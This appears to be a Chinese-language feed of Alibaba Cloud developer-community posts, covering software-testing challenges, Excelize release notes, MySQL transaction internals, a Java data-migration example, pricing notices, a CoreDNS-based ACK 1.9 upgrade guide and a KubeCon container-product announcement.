    有一些类型的问题,要用通常意义上的软件测试来发现,难度和成本很高,但反而是通过静态代码分析来发现反而比较容易。例如,ThreadLocal变量忘记清除,会导致内存溢出、会导致关键信息在不同的不同的上游请求之间串错。另一个例子是NullPointerException。一种做法是通过fuzz testing、异常测试等手段来暴露代码里的NPE缺陷,以及可以在执行测试回归的时候观察log里面的NPE。但我们也可以通过静态代码分析,更早的就发现代码里面可能存在的NPE。有一些并发问题也可以通过静态代码分析来早期准确发现。总之,我们希望尽可能多的通过静态代码分析来防住问题。

    十六 形式化验证(Formal Verificaition)

    除了在协议、芯片、关键算法等上面的运用以外,形式化方法在更偏业务的层面是否有运用的价值和可能?

    十七 防错设计(Mistake Proof)

    严格来说,防错设计并不是software testing范畴内的。但做测试做久了就发现,有很多bug、很多故障,如果设计的更好一点,就压根不会发生(因此也就谈不上需要测试了)。去年我总结了一下支付系统的防错设计,后面希望能看到在各类软件系统形态下的防错设计原则都能总结出来,另外,最好还能有一些技术化的手段来帮助更好的落地这些防错设计原则,这个难度可能比总结设计原则的难度更高。

    十八 可测性(Testability)

    虽然目前大部分开发和QA同学都知道“可测性”这么件事情,但对可测性把握的还不够体系化,很多同学觉得可测性就是开接口、加test hook。或者,还没有很好的理解可测性这个东西落到自己这个领域(例如支付系统、公有云、ERP)意味着什么。在需求和系统设计分析阶段还不能做到很有效很有体系的从可测性角度提出要求,往往要求比较滞后。我希望可测性设计可以总结出一系列像程序设计的DRY、KISS、Composition Over Inheritance、Single Responsibility,Rule of Three等设计原则,总结出一系列的反模式,甚至出现像《设计模式》那样的一本专门的著作。

    以上就是我会加到Hard Problems in Test列表的问题,也是我已经或打算投入精力解决的问题。

    注:

    [1] 我工作中还有一些其他的测试难题,那些问题在这里没有列出来,因为那些问题和特定的业务场景或者技术栈的相关度比较高。还有一些测试领域的挑战,难度也很高,例如,回归测试达到99%以上通过率、主干开发以及做到通过代码门禁的code change就是可以进入发布的,这些也非常有难度,但难度主要是是偏工程的而不是软件测试技术本身。
    [2] 测试充分度的度量和提升是两个问题。有一种观点认为,测试充分的度量和提升其实是一件事情,用同样的算法分析数据可以进行度量,也能用同样的算法来基于数据进行测试充分度的提升。我不同意这个观点。度量和提升未必是同一个算法。这样的例子非常多了:测试有效性的度量和提升、运维稳定性的度量和提升,等等。即便度量和提升可以用同一种算法,我也希望可以尽量再找一些其他方法,尽量不要用同一种算法又做度量又做提升,因为这样容易“闭环”和产生盲区和。
    [3] 当然,这句话今天可能不再是那样了,但那是十几年前,那时候的在线广告和大数据还没到今天这个水平。
    [4] 具体形式上,这个数据银行无需是一个平台。它不一定是一个服务,它也不一定需要有UI。它可以就是一个jar包,它可以就是在测试执行时launch的一个单独的进程。

    ]]>
    Excelize 2.3.0 发布,Go 语言 Excel 文档基础库-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800

    github.com/360EntSecGroup-Skylar/excelize

    Excelize 是 Go 语言编写的用于操作 Office Excel 文档类库,基于 ECMA-376 Office Open XML 标准。可以使用它来读取、写入由 Microsoft Excel™ 2007 及以上版本创建的 XLSX 文档。相比较其他的开源类库,Excelize 支持写入原本带有图片(表)、透视表和切片器等复杂样式的文档,还支持向 Excel 文档中插入图片与图表,并且在保存后不会丢失文档原有样式,可以应用于各类报表系统中。入选 2018 开源中国码云 Gitee 最有价值开源项目 GVP,目前已成为 Go 语言最受欢迎的 Excel 文档基础库。

    开源代码

    GitHub: github.com/xuri/excelize
    Gitee: gitee.com/xurime/excelize
    中文文档: xuri.me/excelize/zh-hans

    2020年8月10日,社区正式发布了 2.3.0 版本,该版本包含了多项新增功能、错误修复和兼容性提升优化。下面是有关该版本更新内容的摘要,完整的更改列表可查看 changelog

    Release Notes

    此版本中最显著的变化包括:

    新增功能

    • 支持并发设置单元格的值,相关 issue #670
    • 新增 API: SetSheetFormatPrGetSheetFormatPr,支持设置工作表格式属性,相关 issue #635
    • 新增 API: GetColsCols 列迭代器
    • AddChart 添加图表 API 支持指定 Y 轴对数刻度,相关 issue #661
    • AddPicture 添加图片 API 支持插入图片自适应单元格
    • 增加对行、列和工作簿名称的长度上限的检查
    • 公式计算引擎支持自定义名称,相关 issue #665
    • API CalcCellValue 更新:新增 12 项函数, COUNTA, ISBLANK, ISERR, ISERROR, ISEVEN, ISNA, ISNONTEXT, ISODD, ISNUMBER, MEDIAN, NASUMIF

    兼容性提升

    • 兼容不同大小写的文档内部组件路径
    • 字符型单元格的值存储于共享字符表中,降低生成文档体积
    • 支持工作表中无 r 属性的 row 标签,以修复部分情况下读取工作表内容为空的问题
    • 支持多命名空间的 XML 标签,以兼容金山 WPS 等电子表格应用程序,解决 issue #651
    • 自动筛选器兼容 Office 2007 - 2010 版本的电子表格应用程序,解决 issue #637

    问题修复

    • 修复因工作簿内产生了重复的筛选数据库而导致的文档损坏问题
    • 避免添加样式时生成重复的样式定义
    • 修复设置富文本中包含的特殊字符丢失问题
    • 修复使用 Office 应用程序打开添加批注的文档,保存后再次打开批注形状不为矩形的问题,解决 #672
    • 避免部分情况下开启编译内联优化参数时潜在的运行时 panic 问题,解决 issue #677 和 #679
    • 修正获取百分比单元格值的数值精度问题

    其他

    • 修复特定情况下打开无效工作表时出现的异常 panic 问题
    • 完善单元测试中的错误处理
    • 包含简体中文、英语、法语、俄语、日语和韩语的多国语言文档网站更新
    • 技术交流群

    DingTalk Group ID: 30047129
    QQ Group ID: 207895940

    Excel 技术交流群

    ]]>
    Mysql的事务实现原理「收藏」-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 Mysql的事务实现原理「收藏」
    1 开篇

    相信大家都用过事务以及了解他的特点,如原子性(Atomicity),一致性(Consistency),隔离型(Isolation)以及持久性(Durability)等。今天想跟大家一起研究下事务内部到底是怎么实现的,在讲解前我想先抛出个问题:

    事务想要做到什么效果?

    按我理解,无非是要做到可靠性以及并发处理。

    可靠性:数据库要保证当insert或update操作时抛异常或者数据库crash的时候需要保障数据的操作前后的一致,想要做到这个,我需要知道我修改之前和修改之后的状态,所以就有了undo log和redo log。

    并发处理:也就是说当多个并发请求过来,并且其中有一个请求是对数据修改操作的时候会有影响,为了避免读到脏数据,所以需要对事务之间的读写进行隔离,至于隔离到啥程度得看业务系统的场景了,实现这个就得用MySQL 的隔离级别。

    下面我首先讲实现事务功能的三个技术,分别是日志文件(redo log 和 undo log),锁技术以及MVCC,然后再讲事务的实现原理,包括原子性是怎么实现的,隔离型是怎么实现的等等。最后在做一个总结,希望大家能够耐心看完

    redo log与undo log介绍
    mysql锁技术以及MVCC基础
    事务的实现原理
    总结
    2 redo log 与 undo log介绍

    1. redo log

    什么是redo log ?

    redo log叫做重做日志,是用来实现事务的持久性。该日志文件由两部分组成:重做日志缓冲(redo log buffer)以及重做日志文件(redo log),前者是在内存中,后者在磁盘中。当事务提交之后会把所有修改信息都会存到该日志中。假设有个表叫做tb1(id,username) 现在要插入数据(3,ceshi)

    Mysql的事务实现原理「收藏」
    start transaction;select balance from bank where name="zhangsan";// 生成 重做日志 balance=600update bank set balance = balance - 400; // 生成 重做日志 amount=400update finance set amount = amount + 400;commit;
    Mysql的事务实现原理「收藏」
    redo log 有什么作用?

    mysql 为了提升性能不会把每次的修改都实时同步到磁盘,而是会先存到Boffer Pool(缓冲池)里头,把这个当作缓存来用。然后使用后台线程去做缓冲池和磁盘之间的同步。

    那么问题来了,如果还没来的同步的时候宕机或断电了怎么办?还没来得及执行上面图中红色的操作。这样会导致丢部分已提交事务的修改信息!

    所以引入了redo log来记录已成功提交事务的修改信息,并且会把redo log持久化到磁盘,系统重启之后在读取redo log恢复最新数据。

    总结:

    redo log是用来恢复数据的 用于保障,已提交事务的持久化特性

    2.undo log

    什么是 undo log ?

    undo log 叫做回滚日志,用于记录数据被修改前的信息。他正好跟前面所说的重做日志所记录的相反,重做日志记录数据被修改后的信息。undo log主要记录的是数据的逻辑变化,为了在发生错误时回滚之前的操作,需要将之前的操作都记录下来,然后在发生错误时才可以回滚。

    还用上面那两张表

    Mysql的事务实现原理「收藏」
    每次写入数据或者修改数据之前都会把修改前的信息记录到 undo log。

    undo log 有什么作用?

    undo log 记录事务修改之前版本的数据信息,因此假如由于系统错误或者rollback操作而回滚的话可以根据undo log的信息来进行回滚到没被修改前的状态。

    总结:

    undo log是用来回滚数据的用于保障 未提交事务的原子性

    3 mysql锁技术以及MVCC基础

    1. mysql锁技术

    当有多个请求来读取表中的数据时可以不采取任何操作,但是多个请求里有读请求,又有修改请求时必须有一种措施来进行并发控制。不然很有可能会造成不一致。

    读写锁

    解决上述问题很简单,只需用两种锁的组合来对读写请求进行控制即可,这两种锁被称为:

    共享锁(shared lock),又叫做"读锁"

    读锁是可以共享的,或者说多个读请求可以共享一把锁读数据,不会造成阻塞。

    排他锁(exclusive lock),又叫做"写锁"

    写锁会排斥其他所有获取锁的请求,一直阻塞,直到写入完成释放锁。

    Mysql的事务实现原理「收藏」
    总结:

    通过读写锁,可以做到读读可以并行,但是不能做到写读,写写并行

    事务的隔离性就是根据读写锁来实现的!!!这个后面再说。

    1. MVCC基础

    MVCC (MultiVersion Concurrency Control) 叫做多版本并发控制。

    InnoDB的 MVCC ,是通过在每行记录的后面保存两个隐藏的列来实现的。这两个列,一个保存了行的创建时间,一个保存了行的过期时间,当然存储的并不是实际的时间值,而是系统版本号

    以上片段摘自《高性能Mysql》这本书对MVCC的定义。他的主要实现思想是通过数据多版本来做到读写分离。从而实现不加锁读进而做到读写并行。

    MVCC在mysql中的实现依赖的是undo log与read view

    undo log :undo log 中记录某行数据的多个版本的数据。
    read view :用来判断当前版本数据的可见性
    Mysql的事务实现原理「收藏」
    4 事务的实现

    前面讲的重做日志,回滚日志以及锁技术就是实现事务的基础。

    事务的原子性是通过undolog来实现的事务的持久性性是通过redolog来实现的事务的隔离性是通过(读写锁+MVCC)来实现的而事务的终极大 boss 一致性是通过原子性,持久性,隔离性来实现的!!!
    原子性,持久性,隔离性折腾半天的目的也是为了保障数据的一致性!

    总之,ACID只是个概念,事务最终目的是要保障数据的可靠性,一致性。

    1.原子性的实现

    什么是原子性:

    一个事务必须被视为不可分割的最小工作单位,一个事务中的所有操作要么全部成功提交,要么全部失败回滚,对于一个事务来说不可能只执行其中的部分操作,这就是事务的原子性。

    上面这段话取自《高性能MySQL》这本书对原子性的定义,原子性可以概括为就是要实现要么全部失败,要么全部成功。

    以上概念相信大家伙儿都了解,那么数据库是怎么实现的呢?就是通过回滚操作。所谓回滚操作就是当发生错误异常或者显式的执行rollback语句时需要把数据还原到原先的模样,所以这时候就需要用到undo log来进行回滚,接下来看一下undo log在实现事务原子性时怎么发挥作用的

    1.1 undo log 的生成

    假设有两个表 bank和finance,表中原始数据如图所示,当进行插入,删除以及更新操作时生成的undo log如下面图所示:

    Mysql的事务实现原理「收藏」
    Mysql的事务实现原理「收藏」
    从上图可以了解到数据的变更都伴随着回滚日志的产生:

    (1) 产生了被修改前数据(zhangsan,1000) 的回滚日志

    (2) 产生了被修改前数据(zhangsan,0) 的回滚日志

    根据上面流程可以得出如下结论:

    1.每条数据变更(insert/update/delete)操作都伴随一条undo log的生成,并且回滚日志必须先于数据持久化到磁盘上

    2.所谓的回滚就是根据回滚日志做逆向操作,比如delete的逆向操作为insert,insert的逆向操作为delete,update的逆向为update等。

    思考:为什么先写日志后写数据库? ---稍后做解释

    1.2 根据undo log 进行回滚

    为了做到同时成功或者失败,当系统发生错误或者执行rollback操作时需要根据undo log 进行回滚

    Mysql的事务实现原理「收藏」
    回滚操作就是要还原到原来的状态,undo log记录了数据被修改前的信息以及新增和被删除的数据信息,根据undo log生成回滚语句,比如:

    (1) 如果在回滚日志里有新增数据记录,则生成删除该条的语句

    (2) 如果在回滚日志里有删除数据记录,则生成生成该条的语句

    (3) 如果在回滚日志里有修改数据记录,则生成修改到原先数据的语句

    2.持久性的实现

    事务一旦提交,其所作做的修改会永久保存到数据库中,此时即使系统崩溃修改的数据也不会丢失。

    先了解一下MySQL的数据存储机制,MySQL的表数据是存放在磁盘上的,因此想要存取的时候都要经历磁盘IO,然而即使是使用SSD磁盘IO也是非常消耗性能的。为此,为了提升性能InnoDB提供了缓冲池(Buffer Pool),Buffer Pool中包含了磁盘数据页的映射,可以当做缓存来使用:

    读数据:会首先从缓冲池中读取,如果缓冲池中没有,则从磁盘读取在放入缓冲池;

    写数据:会首先写入缓冲池,缓冲池中的数据会定期同步到磁盘中;

    上面这种缓冲池的措施虽然在性能方面带来了质的飞跃,但是它也带来了新的问题,当MySQL系统宕机,断电的时候可能会丢数据!!!

    因为我们的数据已经提交了,但此时是在缓冲池里头,还没来得及在磁盘持久化,所以我们急需一种机制需要存一下已提交事务的数据,为恢复数据使用。

    于是 redo log就派上用场了。下面看下redo log是什么时候产生的

    Mysql的事务实现原理「收藏」
    既然redo log也需要存储,也涉及磁盘IO为啥还用它?

    (1)redo log 的存储是顺序存储,而缓存同步是随机操作。

    (2)缓存同步是以数据页为单位的,每次传输的数据大小大于redo log。

    3.隔离性实现

    隔离性是事务ACID特性里最复杂的一个。在SQL标准里定义了四种隔离级别,每一种级别都规定一个事务中的修改,哪些是事务之间可见的,哪些是不可见的。

    级别越低的隔离级别可以执行越高的并发,但同时实现复杂度以及开销也越大。

    Mysql 隔离级别有以下四种(级别由低到高):

    READUNCOMMITED(未提交读)READCOMMITED(提交读)REPEATABLEREAD(可重复读)SERIALIZABLE (可重复读)
    只要彻底理解了隔离级别以及他的实现原理就相当于理解了ACID里的隔离型。前面说过原子性,隔离性,持久性的目的都是为了要做到一致性,但隔离型跟其他两个有所区别,原子性和持久性是为了要实现数据的可性保障靠,比如要做到宕机后的恢复,以及错误后的回滚。

    那么隔离性是要做到什么呢? 隔离性是要管理多个并发读写请求的访问顺序。 这种顺序包括串行或者是并行

    说明一点,写请求不仅仅是指insert操作,又包括update操作。

    Mysql的事务实现原理「收藏」
    总之,从隔离性的实现可以看出这是一场数据的可靠性与性能之间的权衡。

    可靠性性高的,并发性能低(比如Serializable)可靠性低的,并发性能高(比如 Read Uncommited)
    READ UNCOMMITTED

    在READ UNCOMMITTED隔离级别下,事务中的修改即使还没提交,对其他事务是可见的。事务可以读取未提交的数据,造成脏读。

    因为读不会加任何锁,所以写操作在读的过程中修改数据,所以会造成脏读。好处是可以提升并发处理性能,能做到读写并行。

    换句话说,读的操作不能排斥写请求。

    Mysql的事务实现原理「收藏」
    优点:读写并行,性能高

    缺点:造成脏读

    READ COMMITTED

    一个事务的修改在他提交之前的所有修改,对其他事务都是不可见的。其他事务能读到已提交的修改变化。在很多场景下这种逻辑是可以接受的。

    InnoDB在 READ COMMITTED,使用排它锁,读取数据不加锁而是使用了MVCC机制。或者换句话说他采用了读写分离机制。

    但是该级别会产生不可重读以及幻读问题。

    什么是不可重读?

    在一个事务内多次读取的结果不一样。

    为什么会产生不可重复读?

    这跟 READ COMMITTED 级别下的MVCC机制有关系,在该隔离级别下每次 select的时候新生成一个版本号,所以每次select的时候读的不是一个副本而是不同的副本。

    在每次select之间有其他事务更新了我们读取的数据并提交了,那就出现了不可重复读

    REPEATABLE READ(Mysql默认隔离级别)

    在一个事务内的多次读取的结果是一样的。这种级别下可以避免,脏读,不可重复读等查询问题。mysql 有两种机制可以达到这种隔离级别的效果,分别是采用读写锁以及MVCC。

    采用读写锁实现:

    Mysql的事务实现原理「收藏」
    为什么能可重复度?只要没释放读锁,在次读的时候还是可以读到第一次读的数据。

    优点:实现起来简单

    缺点:无法做到读写并行

    采用MVCC实现:

    Mysql的事务实现原理「收藏」
    为什么能可重复度?因为多次读取只生成一个版本,读到的自然是相同数据。

    优点:读写并行

    缺点:实现的复杂度高

    但是在该隔离级别下仍会存在幻读的问题,关于幻读的解决我打算另开一篇来介绍。

    SERIALIZABLE

    该隔离级别理解起来最简单,实现也最单。在隔离级别下除了不会造成数据不一致问题,没其他优点。

    Mysql的事务实现原理「收藏」
    Mysql的事务实现原理「收藏」
    --摘自《高性能Mysql》

    4.一致性的实现

    数据库总是从一个一致性的状态转移到另一个一致性的状态。

    下面举个例子:zhangsan 从银行卡转400到理财账户

    start transaction;select balance from bank where name="zhangsan";// 生成 重做日志 balance=600update bank set balance = balance - 400; // 生成 重做日志 amount=400update finance set amount = amount + 400;commit;
    1.假如执行完 update bank set balance = balance - 400;之发生异常了,银行卡的钱也不能平白无辜的减少,而是回滚到最初状态。

    2.又或者事务提交之后,缓冲池还没同步到磁盘的时候宕机了,这也是不能接受的,应该在重启的时候恢复并持久化。

    3.假如有并发事务请求的时候也应该做好事务之间的可见性问题,避免造成脏读,不可重复读,幻读等。在涉及并发的情况下往往在性能和一致性之间做平衡,做一定的取舍,所以隔离性也是对一致性的一种破坏。

    总结

    本出发点是想讲一下Mysql的事务的实现原理。

    实现事务采取了哪些技术以及思想?

    原子性:使用 undo log ,从而达到回滚
    持久性:使用 redo log,从而达到故障后恢复
    隔离性:使用锁以及MVCC,运用的优化思想有读写分离,读读并行,读写并行
    一致性:通过回滚,以及恢复,和在并发环境下的隔离做到一致性。
    有一些比较火热的学习资料以及技术整理,我都会放到这里
    公众号:Java架构师联盟
    git地址:https://gitee.com/biwangsheng/mxq

    ]]>
    记录一次大规模数据库迁移(java)-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 @[toc]
    在这里插入图片描述

    为什么要数据迁移

    • 1.系统重构 (代码跟不上现在的用户量)
    • 2.数据库设计不合理,与sql 垃圾,导致数据库qps大大的降低,从而导致数据库挂掉
    • 3.业务不断增长,现有资源不够用,战略的转移

    当这些问题出现的时候,我们会选择更好的系统架构 ,与解决方案,但是有个不可避免的问题 (数据迁移)当原有系统存在 几十万,几百万用户数据的时候,我们就要考虑,这些用户数据这样才能完美的在新系统 或者新数据库上应用

    真实案例:

    • 数据库建立的不合理,数据格式错乱,sql效率低下,导致索引失效,用户访问量达 C端项目,导致数据库服务器和 应用服务器天天挂,
    • 所以决定系统重构,数据库重新设计
    • 在开发完成,项目上线前一个阶段,就要设计要数据迁移

    解决方案

    1. 导入固定的数据

      ![在这里插入图片描述](https://img-blog.csdnimg.cn/20200802151031610.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTc3ODM4,size_16,color_FFFFFF,t_70)
      
    2. 导入用户数据
      在这里插入图片描述
    3. 做好之前数据库以及现在测试数据库的备份,以及快照
    4. 少于 5w 以下的数据可以使用 并且 数据格式一样的数据可以使用
    5. into (select * from aa) 大于5w 以上的数据,就不能使用
    6. 大规模数据迁移方式,首先就要考虑多线程 方式,单线程方式可能需要哥好几十个小时

      • 如果跑代码脚本的话 最好考虑 @asyc 注解式多线程操作
      • 如果需要做关系,切记一定要加索引,当迁移百万级别的数据的时候,就会发现索引的威力是多么强大

    案例

    @PostMapping("move")
        public ResultBody moveUnderOrderrelationship() {
            for (int i = 1; i <50 ; i++) {
                int pageNum = (i-1) * 10000;
                undersService.moveUnderOrderrelationship(pageNum,10000);
            }
            return ResultBody.success();
        }
    
        @Async
        public void moveUnderOrderrelationship(int pageNum, int pageSize) {
                    ……
            }
            
    select * from *** limit #{pageNum},#{pageSize}
    ]]>
    【其他】8月5日轻量云服务器国际站香港及海外地域价格调整通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【轻量应用服务器】【规格/价格调整通知】

    为了更贴近客户实际业务场景,提升产品服务质量,轻量应用服务器(SAS)计划于8月5日对国际站香港地域和海外地域进行套餐规格和价格的调整。

    8.5日前持有如上地域套餐的客户,续费和升级仍可按照原套餐规格及价格执行,8月5日起新购套餐需按照调整后规格及价格执行。

    ]]>
    【其他】8月12日视频点播、直播CDN亚太1、2、3区降价通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【视频点播】【视频直播】【降价通知】

    降价时间:2020年8月12日  10:00

    降价说明:为了回馈客户并分享CDN规模和技术不断升级带来的红利。本次对视频点播、直播进行降价。

    覆盖区域:亚太1区-AP1、亚太2区-AP2和亚太3区-AP3

    覆盖的计费方式:

    1)按流量和峰值带宽的计费方式

    2)点播流量包,100GB、500GB、1TB、5TB、10TB、50TB规格

    其他区域暂无调整。具体调整如下:


    按流量计费

    按峰值带宽计费


    点播流量包



    ]]>
    ACK 1.9 版本K8S升级指南 Fri, 02 May 2025 09:39:03 +0800 ACK 1.9已经超出技术支持期限,目前升级管控已经无法适配1.9升级,本文主要指导用户修改1.9的相关配置,使其可以进行升级。

    目前主要阻碍是1.9集群内置的DNS服务组件为kube-dns,我们需要将其替换为CoreDNS,就可以使用容器服务提供的升级功能进行升级了。

    首先,我们需要在集群中部署CoreDNS服务。注意需要将image修改为您的集群所在的regionid,如你的集群在杭州则将

    image: registry-vpc.YOUR-REGIONID.aliyuncs.com/acs/coredns:1.0.6

    修改为

    image: registry-vpc.cn-hangzhou.aliyuncs.com/acs/coredns:1.0.6

    完整yaml文件如下:

    apiVersion: apps/v1
    kind: Deployment
    metadata:
      name: coredns
      namespace: kube-system
      labels:
        k8s-app: kube-dns
    spec:
      replicas: 2
      strategy:
        type: RollingUpdate
        rollingUpdate:
          maxUnavailable: 1
      selector:
        matchLabels:
          k8s-app: kube-dns
      template:
        metadata:
          labels:
            k8s-app: kube-dns
        spec:
          affinity:
            podAntiAffinity:
              preferredDuringSchedulingIgnoredDuringExecution:
              - weight: 100
                podAffinityTerm:
                  labelSelector:
                    matchExpressions:
                      - key: k8s-app
                        operator: In
                        values: ["kube-dns"]
                  topologyKey: kubernetes.io/hostname
          serviceAccountName: coredns
          tolerations:
          - operator: Exists
          nodeSelector:
            beta.kubernetes.io/os: linux
          containers:
          - name: coredns
            image: registry-vpc.YOUR-REGIONID.aliyuncs.com/acs/coredns:1.0.6
            imagePullPolicy: IfNotPresent
            resources:
              limits:
                memory: 170Mi
              requests:
                cpu: 100m
                memory: 70Mi
            args: [ "-conf", "/etc/coredns/Corefile" ]
            volumeMounts:
            - name: config-volume
              mountPath: /etc/coredns
              readOnly: true
            ports:
            - containerPort: 53
              name: dns
              protocol: UDP
            - containerPort: 53
              name: dns-tcp
              protocol: TCP
            - containerPort: 9153
              name: metrics
              protocol: TCP
            livenessProbe:
              httpGet:
                path: /health
                port: 8080
                scheme: HTTP
              initialDelaySeconds: 60
              timeoutSeconds: 5
              successThreshold: 1
              failureThreshold: 5
            securityContext:
              allowPrivilegeEscalation: false
              capabilities:
                add:
                - NET_BIND_SERVICE
                drop:
                - all
              readOnlyRootFilesystem: true
          dnsPolicy: Default
          volumes:
            - name: config-volume
              configMap:
                name: coredns
                items:
                - key: Corefile
                  path: Corefile
    ---
    apiVersion: v1
    kind: ConfigMap
    metadata:
      name: coredns
      namespace: kube-system
    data:
      Corefile: |
        .:53 {
            errors
            health
            kubernetes cluster.local in-addr.arpa ip6.arpa {
               pods insecure
               upstream
               fallthrough in-addr.arpa ip6.arpa
            }
            prometheus :9153
            proxy . /etc/resolv.conf
            cache 30
            loadbalance
        }
    ---
    apiVersion: rbac.authorization.k8s.io/v1
    kind: ClusterRole
    metadata:
      name: system:coredns
    rules:
    - apiGroups:
      - ""
      resources:
      - endpoints
      - services
      - pods
      - namespaces
      verbs:
      - list
      - watch
    ---
    apiVersion: rbac.authorization.k8s.io/v1
    kind: ClusterRoleBinding
    metadata:
      name: system:coredns
    roleRef:
      apiGroup: rbac.authorization.k8s.io
      kind: ClusterRole
      name: system:coredns
    subjects:
    - kind: ServiceAccount
      name: coredns
      namespace: kube-system
    ---
    apiVersion: v1
    kind: ServiceAccount
    metadata:
      name: coredns
      namespace: kube-system

    使用该yaml创建CoreDNS服务后,需要观察其是否可以正常运行。

    确定CoreDNS正常运行之后,可以逐步减少集群中kube-dns的副本数(spec. replicas)。

    最后在确保业务正常运行的前提下,我们可以删掉集群中的kube-dns。

    完成上述操作步骤之后,您就可以使用容器服务的集群升级功能进行集群升级了。

    如果集群升级之后又出现了kube-dns,您可以将其删除。

    ]]>
    KubeCon 速递 | 云原生操作系统进化,详解阿里云ACK Pro、ASM、ACR EE、ACK@Edge等四款企业级容器新品 Fri, 02 May 2025 09:39:03 +0800 KubeCon 2020中国站,阿里云容器服务负责人易立会在《云原生,数字经济技术创新基石》的演讲中,分享阿里云原生如何助力数字技术抗‘疫’,阐述阿里云对云原生操作系统的思考,同时详解阿里云ACK Pro、ASM、ACR EE、ACK@Edge四款企业级容器新品。

    容器服务ACK Pro,为企业级大规模生产环境提供增强的可靠性安全性,以及与可赔付标准SLA,现已开启公测。同时还有三款产品商业化:服务网格ASM,统一精准管控容器化微服务应用流量;容器镜像服务企业版ACR EE,公共云首个独享实例形态的容器镜像仓库产品,是支撑阿里巴巴经济体的双十一同款利器,具备如下能力:多维度安全保障、全球镜像分发加速、DevSecOps 交付提效特点,保障企业客户云原生制品的安全托管及高效分发;边缘容器ACK@Edge采用非侵入方式增强,提供边缘自治、边缘单元、边缘流量管理、原生运维API支持等能力,以原生方式支持边缘计算场景下的应用统一生命周期管理和统一资源调度。

    疫情期间,争分夺秒的云原生

    云计算是数字时代新基建,而2020疫情也为数字化生活按下了快进键。“上班用钉钉,上学云课堂,出门健康码,订菜送到家”成为了日常生活一部分,这背后是一系列云计算、云原生技术支撑的业务创新。

    2小时内支撑了钉钉业务1万台云主机的扩容需求,基于阿里云服务器和容器化的应用部署方案,钉钉应用发布扩容效率大大提升,顺利扛住有史以来最大的流量洪峰,为全国用户提供线上工作的流畅体验。

    停课不停学,希沃课堂整体业务性能提升30%、运维成本降低50%,洋葱学院系统资源利用率提升60%。
    健康码基于云原生大数据平台具备弹性、韧性和安全的特点,平稳支撑每日亿次调用。

    盒马通过阿里云边缘容器服务ACK@Edge,快速构建人、货、场数字化全链路融合,云、边、端一体化协同的天眼AI系统。结合了云原生技术体系良好的资源调度和应用管理能力,与边缘计算就近访问,实时处理的优势,轻松实现全方位的『降本提效』,门店计算资源成本节省50%,新店开服效率提升70%。

    image.png

    云原生操作系统的诞生与进化

    容器技术的发展揭开了云原生计算的序幕,在易立看来, Kubernetes为基础的云原生计算也已经成为新的操作系统,云原生操作系统的雏形被越来越多的行业和企业采纳并因此受益:容器应用化、容器编排系统和Istio服务网格等技术依次解耦了应用与运行环境、资源编排调度与底层基础设施、服务实现与服务治理等传统架构的依赖关系。

    image.png

    阿里云为用户提供了怎样的云原生操作系统?这个云原生操作系统又有哪些突出特点呢?

    首先基础设施层是强大的IaaS资源,基于第三代神龙架构的计算资源可以更弹性的扩展,以更加优化的成本提供更高的性能;云原生的分布式文件系统,为容器持久化数据而生;云原生网络加速应用交付能力,提供应用型负载均衡与容器网络基础设施。

    image.png

    其次在容器编排层,阿里云容器服务自2015年上线来,伴随数千家企业客户,共同实践过各行各业大量生产级场景。越来越多的客户以云原生的方式架构其大部分甚至全量应用,随着业务深入发展,为了满足大中型企业对可靠性、安全性的强烈需求,阿里云推出新品可供赔付SLA的容器服务企业版ACK Pro。

    容器服务企业版ACK Pro横空出世:全面安全、高性能,支持新一代神龙架构,SLA可赔付

    容器服务企业版ACK Pro,是在原容器服务ACK托管版集群的基础上发展而来,其继承了原托管版集群的所有优势,例如Master节点托管和高可用等。同时,相比原托管版进一步提升了集群的可靠性、安全性和调度性能,并且支持赔付标准的SLA,高达99.95%,单集群可支持5000节点。ACK Pro非常适合生产环境下有着大规模业务、对稳定性和安全性有高要求的企业客户。

    ACK Pro支持神龙架构,凭借软硬一体的优化设计,可为企业应用提供卓越的性能;支持无损Terway容器网络,相比路由网络延迟下降 30%;为企业提供全面安全防护,支持阿里云安全沙箱容器,满足企业客户对应用的安全、隔离需求,性能相比开源提升30%。此外,ACK Pro提供了对异构算力和工作负载优化的高效调度,支持智能CPU调度优化,在保障SLA和密度的前提下,Web应用QPS提升30%;支持GPU算力共享, AI模型预测成本节省50%以上。

    阿里云视频云已在全球十多个区域使用容器服务作为服务基础,有效管理全球万级节点的资源,其中ACK Pro切实保障基础设施层大规模计算资源的运维效率和高稳定性,使视频云团队可以将更多时间精力聚焦在视频领域从而为客户提供更多价值。

    近日, 阿里云容器服务并成为国内首批通过可信云容器安全先进性认证的企业级容器平台,以49个满分项目荣获最高级别先进级认证,特别是在最小化攻击面,二进制镜像验签名,密文的BYOK加密等能力上国内领先,达到国际先进水平。

    容器服务ACK Pro现已正式开启公测,非常适用于互联网、大数据计算、金融政府及跨海业务企业等,欢迎各位感兴趣的客户在官网上申请试用。

    业内首个全托管Istio兼容服务网格ASM,多种异构应用服务统一治理

    在服务网格技术诞生前,应用服务治理的逻辑实现通常都是以代码库的方式嵌入在应用程序中,随着应用复杂度的增长和团队规模的扩大,代码库变更和维护会变地越来越复杂。服务网格通过Sidecar代理功能,将服务治理能力与应用程序本身解耦,将服务治理能力标准化、统一化,且更好地支持多种编程语言和技术框架的应用服务。

    作为业内首个全托管Istio兼容的服务网格产品ASM,已经正式商业化发布,用户可以在多个地域部署使用。阿里云一开始从架构上就保持了与社区、业界趋势的领先性,控制平面的组件托管在阿里云侧,与数据面侧的用户集群独立。ASM在托管的控制面侧提供了用于支撑精细化的流量管理和安全管理的组件能力。通过托管模式,解耦了Istio组件与所管理的K8s集群的生命周期管理,使得架构更加灵活,提升了系统的可伸缩性。

    商米科技使用服务网格ASM之后,充分享受了Service Mesh带来的好处,解决了GRPC-HTTP2.0多路复用引起的负载不均衡的问题,得以分离控制平面和数据平面,受益于ASM的可视化方式对控制平面进行管理,对规则配置一目了然。同时还无缝结合链路监控(Tracing Analysis)解决服务化体系下调用链排查追踪问题。

